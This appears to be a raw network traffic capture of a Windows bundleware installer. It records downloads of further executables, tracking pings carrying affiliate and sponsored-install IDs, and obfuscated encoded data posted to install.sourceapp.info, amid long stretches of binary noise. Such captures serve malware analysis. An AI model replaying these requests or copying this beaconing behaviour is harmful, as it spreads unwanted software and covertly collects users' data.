..!...&].p.]mP.m..F....20150210194451Z....20150211074451Z0...*.H......
......}....3.v}...y..6./....?.[.@/5.`.~.~.... ..........A/[....O.%{...
.E..V8p.q.>[email protected]:M. .=......55.rgE.W...d-....i .p.....Y.
..I....e]h/;r...0nh.^b........NU..r...v9..RO.E.......z.O....S...* =...
_..8.#:2....~...\5J.g.f^.........`........\..K)..#........0...0...0...
........!........kl......0...*.H........0Z1.0...U....BE1.0...U....Glob
alSign nv-sa100...U...'GlobalSign CodeSigning CA - SHA256 - G20...1412
29102646Z..150329092646Z0..1.0...U....BE1.0...U....GlobalSign nv-sa1C0
A..U...:GlobalSign CodeSigning CA - SHA256 - G2 OCSP responder - 11.0.
..U....201412291126000.."0...*.H.............0...........d..}.f..4..m&
lt;O.h.0$^U6...CO....q?..;....B%.....#[email protected]...[@.X...d...m.pU..
.~......t...".8..`..>..$8...{.s.ul`....$...P........8....-..?...>
;gBsT^..1..\2..].%/...Z$6...R.........g@7_.P.0r.h..d.w......:.. ..z..k
....Z.......i....>.Y.,..H.|..p.. .<i...........0..0...U....0.0..
.U...........0...U.%..0... .......0... .....0......0...U........w..;..
..wp......f.0...U.#..0....J.Z.M1...^./.....2k0...*.H.............|...w
..:..)S.h..%X..;.vle..=...4....X.:[H..!.....".....F.;. ._.@..,.5.o.f..
m....9i..U.....=..S.C(/..-Z....p..E..\.#.....~.M. M....*.V....v./|..]`
.t.VC. .K....E..@......*`Yx.....2.K..cv.4..qg.5'.....I...X....ZnL...7.
/...k......$.;.'B...[[6...8G.v\....(X.,....<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=321682-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 965046

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT

Accept-Ranges: bytes

ETag: "da4bdcc41345d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 11 Feb 2015 02:30:25 GMT

Content-Range: bytes 321682-1286727/1286728

X-Cache: Miss from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: i9fw6mdY_eUYXWL-fElW8q2fYX_4_fXbGAMc0UvEd3e97ZEza8y5cw==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 965046..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT..Accept-Ranges: bytes.
.ETag: "da4bdcc41345d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Wed, 11 Feb 2015 02:30:25 GMT..Content-Range: bytes 3216
82-1286727/1286728..X-Cache: Miss from cloudfront..Via: 1.1 7922e01ab5
3e8f36477272573223ab35.cloudfront.net (CloudFront)..X-Amz-Cf-Id: i9fw6
mdY_eUYXWL-fElW8q2fYX_4_fXbGAMc0UvEd3e97ZEza8y5cw==........U.,.'@>_
.kRds..:.....!.0..Bi..U...K.Z.}.^.{c....M9Y.....v/1L3......l4....}u.mS
A...7}u..f..Pz.v?p.27.(.=...iJ~...p...w..8.....F...u...E....G... z....
.&.a....V&.'.F.....l..k..:z`.~.b.....h.......n\.e.^.M>D ..za3.89u..
..$.(`...\...'`.t.....r........]x..?.....$u...s...9..PS........,].G. H
 ./.L.=.U.....XXh.!~#.P......CC.e.7..P.'. 0."...\Ei\...>...I.......
ZL..V......\;iO.S...p)..)...\q. a.*O?..#m.A...7s.mmX.....g=I..].j._qa.
........QIHu.{R>..D L}..-..|v.. ....L.w....P...]v.......!.7^.......
..O[..X.L..a..P.......5....E.OL!YJ[.o.W!.....R.1..z..%.b=...o....WI...
.Ee.....w.......s....7...../...i8.......zx..U.X~.%...h.l).G.%...1.....
..C..........#H...J..&.y&......G..yZ...6..<...t*.."....2h.zX.......
......X....O......v... ..g......oG....iX..^....Z..`|0O.{.l...J.....U..
.Vy..z..Tq)...G.JQ..'.b......._V.g.........P[W6.c\c1.\..H..x.Z.]p&Sk.B
[email protected].,...'.Q05.c..: ~$O.ZiP....A.......[...S....*..3.C.
..A..K. ..^.dK...n....'...........)0..F.R.e.."...^;ETA...1.O..s.~8<<< skipped >>>

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ient HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 11 Feb 2015 02:31:18 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.57 ms","message":"store 1 action and 0 upd
ate "}..0..

GET /root-r3.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.globalsign.net


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:34:05 GMT

Content-Type: application/x-pkcs7-crl

Content-Length: 594

Connection: keep-alive

Set-Cookie: __cfduid=dee6ad81aa35c9d33ba202e680fc0c26c1423622045; expires=Thu, 11-Feb-16 02:34:05 GMT; path=/; domain=.globalsign.net; HttpOnly

Last-Modified: Thu, 11 Dec 2014 05:33:35 GMT

CF-Cache-Status: HIT

Expires: Thu, 12 Feb 2015 02:34:05 GMT

Cache-Control: public, max-age=86400

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1b6d2539633a0899-FRA
0..N0..6...0...*.H........0L1 0...U....GlobalSign Root CA - R31.0...U.
...GlobalSign1.0...U....GlobalSign..141210000000Z..150331000000Z0..0*.
.......1..F...141125000000Z0.0...U.......0*........%[email protected]
Z0.0...U.......0*........%..D...141125000000Z0.0...U......../0-0...U..
.....0...U.#..0.....K...E$.MP.c.......0...*.H................=.l.....;
.r....^......!.y......`w.P..=..Q..j..42.N.......A.F....s~.....7...'O..
..-'....... I....S^:i.....{......Z...p.S7S..........I.x.A.|,..C.\..<
;.....[]{.A9..D...o...Uz.=.......s...8.0.....,........Zd...Iqb.....>
;..v.1..RE....:Z....L.....x.D..I.tO.s#W.HTTP/1.1 200 OK..Date: Wed, 11
 Feb 2015 02:34:05 GMT..Content-Type: application/x-pkcs7-crl..Content
-Length: 594..Connection: keep-alive..Set-Cookie: __cfduid=dee6ad81aa3
5c9d33ba202e680fc0c26c1423622045; expires=Thu, 11-Feb-16 02:34:05 GMT;
 path=/; domain=.globalsign.net; HttpOnly..Last-Modified: Thu, 11 Dec 
2014 05:33:35 GMT..CF-Cache-Status: HIT..Expires: Thu, 12 Feb 2015 02:
34:05 GMT..Cache-Control: public, max-age=86400..Accept-Ranges: bytes.
.Server: cloudflare-nginx..CF-RAY: 1b6d2539633a0899-FRA..0..N0..6...0.
..*.H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign
1.0...U....GlobalSign..141210000000Z..150331000000Z0..0*........1..F..
.141125000000Z0.0...U.......0*........%[email protected].....
..0*........%..D...141125000000Z0.0...U......../0-0...U.......0...U.#.
.0.....K...E$.MP.c.......0...*.H................=.l.....;.r....^......
!.y......`w.P..=..Q..j..42.N.......A.F....s~.....7...'O....-'.....<<< skipped >>>

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=4&index_in_screen=1&index_in_session=4&0.4291161167861324 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:20 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:31:20 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mg?alpha=LyMfDU9nGSshDG1hMCdALmdMAE8vZR18Ol45aE1VKnNeb094LQJ/V1wXHnloBzQHX0FbJ3J+CTdQSFQqPCslADpXdANCRH8+QzZrVi9y HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 11 Feb 2015 02:30:35 GMT

Content-Length: 2004

lZz9rvfKoIj8vaLnwNKogsS5pvjAi6K5vPGrq/7hm8W9qraJoKjKk4WmmtTb25bqu9rRso
Gmp rzz5aU7aXt3cS53Orstbefte/gtsDolbG77Liq6cXA 4e0j56Lub7Tu Py4Nzyu4nF
0ouf fucmPKlzsm2j77gwdr5oaXFnef/3b7LrbivgZy3t7C/w8mToKnRv6bt1urwh6S44P
W6us O9KTgmaOpn8bVivOi8JjWu66Xh7/b/ebNiKa2o9WczLLK6cfroPvNwPe55qDc3tL/
xfiAnMyRhbqSpqeq7eb58ITi4ayEtb GyMudjcTGi9WrrsjW u7z69De87DzjNvH/92 y8
HjrJHS4fXntcCX0qCfwK6s79bNzoOrpqft5rXWkf2k4Ja/v4vM6Y l8eCc aCu2M74mfrk
1dn57vPJitXp3rnKrbinlZyo/r77ycORppOS8bvpxszlzrzxq6v 4ZrMvaq2iaCoypOFpp
rLwduW6rva0bKBpqfq0  rv9Scw/DQp93T3pKAgrL19aqOl9Kzhty qtXSxP3A/b23o7D3
gZjp KeTpKiM/8aCpP20w9S9p9eJ MXz99rP0qOlyY/U3dmuzeSg 5KRt j39Y7Sg6GQ37
mruYnP Y60tu7tuaPCnuWq ISiuI3Ui5Xz8fLbgPH5l4eu2uzgm5C iprzrpOyk7vP  rj
ztKI4uGwws Vt4nRp7zH7 jtlqiBt6Gv Y/f5 muhbWDicTCzOv245XW5One3arG//Hczs
qjvdWck6TfvsLjruOSn6n495fNz5mzgvOjqvjYi6KEpr xqvD5yo71/62CtO/Sz8aCov26
29 wqtjR Jno98zP4e6qgpDVvIvynaOgtY2Avrmo  Two5LFnOm/ sfButjlgLu8tbXXmO
Pmo5yjkbT51YGy3OOUyurnmdO7z ng98vxp/Oal8Ty3eeM6vqxkZOv/vaPzdeFoMWKpbr3
34W6hKihoaqSuteU5 2BmLWug4udiLD05ZyW6qLIwa3M7uGbkPqjvdOcnbzUs8/s9uPOhK
nu96SAwNKsg5Lx9q fi ybt7bg9f6T6K7Gqu7SoKycwYXU89X/msinuNTDrv/A0tDE K2m
06Xt3cS53OrstaKVqej7tsLnrJCJ2aW879LF9L6bkqy7tZfMmvbtsNL8757Iy5u01veU3 
rx1dC2z7Cn3NLsp7LUnNXI0Kfb6qD7moW39777ytSCpoL qrvyxczbiqKwqe3mvcKR4u3u
0rm jN7InLW6rJ/bpLjeifjG5OTa3r74pdKM1OOdsIzm5uPOweupvvvYwoCgxYrph9Dg/r
rO5aOju7T5md/c4aGCv76Hz9Oyjc//l96nvMj5huDp98vP8raHxYvC996l8tPXr52eqO/z
tcDnrJKOwq6889Lb88Dr8bSusK7Gs/Dlp9Lqo53Fy8Lz/e6J36u/3sGMwvDw3IimrKTMlZ
2816Tc7OePlYSy7feaxN6TrsWKra73wMy0wK6gprizqcffq 6jnKOoxIvClrD74tuA

<<< skipped >>>

GET /fp?alpha=PBVAC3llGyo3YzJMbyF2PVETBnk8SVZ6OBsUARQlOwFNCz8+ZDV6Y0tVWg4pfXdAXHchZ1h4TT1hZyNuJEdOf31RZgYTCmtMJRhvGUE7BmZ/FENHJysNF398QntASWw5QQEffWxvSXQVO1JcECtmBk1fBj1rLg0mIRMRVXlrA2IGaS9QU1UqcExQHigUBT5lay8JVl10OkEdZ3xLa0QceGtNDB54eWhAbRE3Rw4PODMEVQxRLDcsH2l9HnEPMGweZUMfNkJRTyEyFQlZdRVWJhkfCh8UGHEnEhV2eEp9QktzawdAEBswNxQiUH1HKFh+NV0RC0dSLy0AOCQUE215fAVlXwIjFwoXexlMUBNdSBJHeH0LDEdHVCMTEWp4Sn1LO2dJQ25pCGtBZRUoWFJv HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 11 Feb 2015 02:30:38 GMT

Content-Length: 0

....

GET /ii?alpha=PBVAC3kgLV14O3wObyF2PVETBnk8SUwjdAkmVBo8bkkKTDwpZCMiUnwECXxoIBUcGFB+GnoEOSASFElvO149CxFQFAASf2xfD00hAURZJiY+CAMLM2lHGAJ+Pg5AT2Y7WWgYfht0RAtmSEoue1xhHkIscU5gXw0/VRUUJHlkBjEIGRQaABd+aFdWDDJBFShneHwMRlszfkVDBTsVdhscLXoYQ18pfz0VK2V8CDoAKWAdRUAMPmMuFzomFhNWeW4VY3dQARpndGkyChJHbBUYUTwlKlYBGTk6FhFqKxM/VBYmfBFeEAEwOgIiVGEBGB1POV0RAUJ/cykZW2JMRwIsehljVV4OB3wHbyscFE11H0smb2t4F0dEIiwQFGc6HzkEEDZvVFxMLzJ5Sm0WIFdKUms8UhsJCEk9eVViY0sBTwpnGXheW0J0RkY7OApPGHIGGDJzJXxJSxMze1YYfnlWekJLc2cVER18Y2xAdxI4XV4MImACT1kBKjdqBF1dVEAVOiVQWnZIA1VXBxk0CxJLfRwFVXUYDWo/SlFzU05nDR89GxowLBFCTnFofwpwFgxdD1JdP1E= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 11 Feb 2015 02:30:39 GMT

Content-Length: 84

EehCu3sbsgC/Dg6Lf8c6F6UAr2QV5wW2CRjkJOt7Bfxc8WxOygeRSQ 4A hpDq8QuxUbwG
nlZUAlXa7sQjUxHTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Prag
ma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Se
rver: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP004C2..X-
Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Wed, 11 Feb 2015 02:
30:39 GMT..Content-Length: 84..EehCu3sbsgC/Dg6Lf8c6F6UAr2QV5wW2CRjkJOt
7Bfxc8WxOygeRSQ 4A hpDq8QuxUbwGnlZUAlXa7sQjUx....

POST /if?alpha=PBVAC3ltNUReNH0RbyF2PVETBnk8SUwjdAkmVBo8bkkKTDwpZCMiUnwECXxoIBUcGFB+GnoEOSASFElvO149CxFQFAASf2xfD00hAURZJiY+CAMLM2lHGAJ+Pg5AT2Y7WWgYfht0RAtmSEoue1xhHkIscU5gXw0/VRUUJHlsEzFoVwdLXm4hNA0tV3AcdnE8Py1RUAdjJxMDMXRIe0NMezpGAhx8d2tDfxI+VkpZfTZxBwEIZTZmSWd/UURBO2wWTklQNBoDF2FtV18MLEALN2N+fAhQDXB1bEokdC8YVBYmfg1cSHEOMB4pSHkUQB0uZB4XB0EqPG1PbmIebA48ex9/VFkWB2VOITkWEU08RwVWJyQoXAUZfHVORCtpNGtSDzB4B0VCInljUHsJP0lbCyhhEwYLR3o6fVwrYEJCDH8zUD0VD0RIQUsuMx5be3IXSW8mI24RIwR8bkVBZxoOKgYcJiNSQltxbX8ef1czHkpcbm0KRUIEPGE4VGotExFdajlKOQ0FUBYIF35nTlIYeAQYUBg8L0sTRjVMbVImOx9rJBAnfgFNQWwKeSMOdEdHKFRrOxMxC0NlMHtHEzwpVGZg HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Filename: ilg

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Content-Length: 31535

Connection: Keep-Alive

Cache-Control: no-cache

alpha=LyMfDU84eydBUwB9ECA5OG1cCwM0NhwgExoYXRxbGHlpNQ==|,|LyMfDU94XX4NY18XEB0uCUtgPgM0Njl7IzwOSA0QRSMXRiYLH18PcGkwb3dBIGRGNFd6CDFjbmxgDAIMWzYjTUpHejsOCw==|,|LyMfDU8JZGQjdiByDRYwDS8UTGAzSi8yGhsOcR4HdB4yWwoODlsqTVE UFpCH1FPBXNYK0NSHnVb|,|LyMfDU83YBcGD1ogHiYUOVBqJWcpK1pdHBpnEBQ1|,|LyMfDU9KJ2Ycc01gED0OKW5FAANacwkyFgYTDTgWcCZTFloPWGsOIytiAhZqdjdoRTdZJAcSf0VRT0xeWAIRDkhFJSgXTA0 QzZrVi9y|,|LyMfDU9qVHJaV19 ECAuNGNMAlcpcAguEkkeQhIOeCwXCxYjAUprLD1gaBBtERtfMw==|,|LyMfDU8hNR8SSnNVED0OKW5FAHBmYwgiGkkbXxAOOSEcRhcrAUtrfXQ/VhsTY3ZHGDJqBFg0JlIedVs=|,|LyMfDU9yFDYpIiFQED0OKW5FAHBmYwgiGklADQwOaXMGSiJ/QloKQhg=|,|LyMfDU8FL0ERbzxKCjgULUlvTEV7eRdhHAYQQB4NfWIfQhQvTxJraBBtEQpCYg==|,|LyMfDU8FL0ERbjlKCjgULUhqTEV
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 11 Feb 2015 02:30:39 GMT

Content-Length: 41
{"status":"OK","url":null,"message":null}..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=142780-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 142778

Connection: keep-alive

Date: Sun, 08 Feb 2015 06:12:59 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 142780-285557/285558

Age: 2517

X-Cache: Hit from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FQJJZxBoBtshu_gvg7Opu-h7QUN8WmX7q9cZFtGZhCJZKeX0Y_i0Yw==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...<<< skipped >>>

GET /v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 11 Feb 2015 02:31:19 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.08 ms","message":"uid is not set"}..0..

GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1

Cache-Control: max-age = 812

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 23 Oct 2014 05:05:32 GMT

If-None-Match: "a2f3ff97eeecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Wed, 07 Jan 2015 06:02:43 GMT

Accept-Ranges: bytes

ETag: "88c4768d3f2ad01:0"

Server: Microsoft-IIS/8.5

VTag: 279245755100000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 813

Cache-Control: max-age=900

Date: Wed, 11 Feb 2015 02:33:38 GMT

Connection: keep-alive
0..)0......0...*.H........0_1.0.....&...,d....com1.0.....&...,d....mic
rosoft1-0 ..U...$Microsoft Root Certificate Authority..150106214825Z..
150407100825Z0.0...a......../..100208014912Z._0]0...U.#..0......`@V'..
%..*..S.Y..0... .....7.......0...U......(0... .....7......150406215825
Z0...*.H..............vQ..r..L.Q.N..=#.......V;..r../\.m..<.."...F/
U....(:.....xm.....P.e.F..BE8......=...G....6t:...?...L..B.v..p.M.....
...z..Q.%J.6..I.......8...U. .g..=T=K....L..$w...^....y~..-a.'...*s#N.
o..Qs.$h..:duV'~....8.6..w..b3.... .~)...|.I.y".>R.nJq.ws...3.....f
}.E)\......EB.d\.2.....h...lMjT.7..lj.'lj.b....".L.Os6{[email protected].|7z
.. ......>..Q...([email protected]\]#..Y.*.......T. .C.....A'..
5FW.ETDvX..tE.....g5.....&..&.....x.^H;...../7..'9.t.I&<[.HX.j....Q
w......}...qy3..q`<.....LB.9w|....;..Qw..a ..=.C.:.........


GET /pki/crl/products/WinPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Mon, 06 Oct 2014 05:06:02 GMT

If-None-Match: "3e1c83923e1cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Sun, 21 Dec 2014 06:03:02 GMT

Accept-Ranges: bytes

ETag: "d2e35dc7e31cd01:0"

Server: Microsoft-IIS/8.0

VTag: 279876544500000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 561

Cache-Control: max-age=900

Date: Wed, 11 Feb 2015 02:33:38 GMT

Connection: keep-alive
0..-0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1 0)..U..."Microsoft Window
s Verification PCA..141220223154Z..150321105154Z._0]0...U.#..0.......p
............<.J0... .....7.......0...U......30... .....7......15032
0224154Z0...*.H.............h.~oH#i.J.vh_.....A'B..g...........F....9c
.{[email protected].^ 4.r..Wv.Q.0.w..j....c9..w....I..%.~.l..F.......xo....
_...o...7BR.;<..\R/ .....b.(....~..]|.v.u.i.X.B....I......./*...P..
A..fi.}& .x.v{TFP[.G......A......L.o...)R.......V.u..V.../.Q..(L.]....
.uki~......


GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Sat, 04 Oct 2014 05:06:12 GMT

If-None-Match: "58cddbea90dfcf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Fri, 19 Dec 2014 06:02:00 GMT

Accept-Ranges: bytes

ETag: "9a9a44d511bd01:0"

Server: Microsoft-IIS/8.0

VTag: 43863145100000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 550

Cache-Control: max-age=900

Date: Wed, 11 Feb 2015 02:33:38 GMT

Connection: keep-alive
0.."0......0...*.H........0w1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1!0...U....Microsoft Time-St
amp PCA..141218221600Z..150319103600Z._0]0...U.#..0...#[email protected].. .
.5..0... .....7.......0...U......10... .....7......150318222600Z0...*.
H............./..0Q~.r.}.E....&\....F.Z.C..#..F.s........<&\..9G..-
....j..N... .C.Fk....;l.....2.K5D.........-.>...(...g.0.S.[?...T4q&
gt;[email protected].('..e...Y..Bo..q..........I....'....i>
..y:.eH@h`..\...UA.m#.~.. ;.3..d..;..<..........p..s..J..N `Az.....
[email protected]..

GET /ga.js HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 01:12:23 GMT

Expires: Wed, 11 Feb 2015 03:12:23 GMT

Last-Modified: Fri, 16 Jan 2015 00:55:08 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 16151

Age: 4631

Alternate-Protocol: 80:quic,p=0.02

Cache-Control: public, max-age=7200
............yW...8.?..|{.....S..7.(m.....Ms.dY.iB....%.g..A..$...y.z..
%..<mm.I~2...3....k9Z.2.}5....G.........dx.O:.Nz'...:.....I*b.v.o..
q....Bh..z6..V.|.})[email protected]....'...`....3i..RC.%..0.Fz..J{.'C
/...#O\BP]..^..../e..<1..p0...&.i......f{..zm..'&.w1...:...Y:......
.....p....`.n4....vz.W....|\c.-GX...:...5.y..".F:.. $....'..b2......k.
...:.....e.. t-{..^.^.....P....3........d..6.nM...."...^..|..1z......d
q.t.}.....I46..Kb....1..A...t...q.N.7zt .P.a......o:0.>..$Y..x:=.$.
....r./..0........n.%.vA.Ke.*....P/.....My..\..t...J(WW....,.A..<Q.
.........E..e.(.K.$......uBa ..1..yN.v..E....D=...:..[...>..zX.l^..
_..z C..o.......Mk.............^\.G.I?.7.[...l.l=..@.......;...e./y,.c
